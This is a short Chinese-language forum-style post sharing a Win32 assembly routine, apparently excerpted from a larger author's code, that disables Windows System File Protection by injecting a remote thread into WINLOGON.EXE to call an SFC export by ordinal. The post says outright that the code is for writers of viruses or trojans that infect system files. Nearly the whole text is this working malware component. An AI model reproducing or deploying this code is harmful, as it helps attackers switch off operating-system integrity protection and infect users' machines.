关闭文件保护.asm

对于写一些感染系统文件的病毒或木马时,那个"系统文件保护"好象满让人讨厌的,下面给大家一个关闭系统文件保护汇编例子,希望对和我一样初学win32汇编的新手有点帮助!

;冰狐浪子作品代码节选
include    提升权限.asm
include    查找进程.asm

namePr  db  "WINLOGON.EXE",0
sfc_2000  db  'sfc.dll',0
sfc_xp    db  'sfc_os.dll',0

;关闭文件保护
_Sfcoff  proc
  local  @hSfc
    local  @hProcess
    invoke  _EnableDebugPrivilege    ;提升权限
    invoke  _findProcess,offset namePr  ;查找进程
    invoke  OpenProcess,PROCESS_CREATE_THREAD or PROCESS_VM_OPERATION,FALSE,eax
;PROCESS_ALL_ACCESS
    .if  eax
      mov  @hProcess,eax    ;进程句柄
      invoke  LoadLibrary,offset sfc_2000
      .if !eax
        invoke  LoadLibrary,offset sfc_xp
      .endif
  mov  @hSfc,eax
      invoke  GetProcAddress,eax,2
  push  eax
  invoke  FreeLibrary,@hSfc
  pop  eax
      .if eax
        xor  ecx,ecx
        invoke  CreateRemoteThread,@hProcess,ecx,ecx,eax,ecx,ecx,ecx
        .if  eax
          invoke  CloseHandle,eax
          jmp @F
        .endif
      .endif
      invoke  CloseHandle,@hProcess    ;关闭进程句柄
    .endif
    xor eax,eax
@@:    ret
_Sfcoff  endp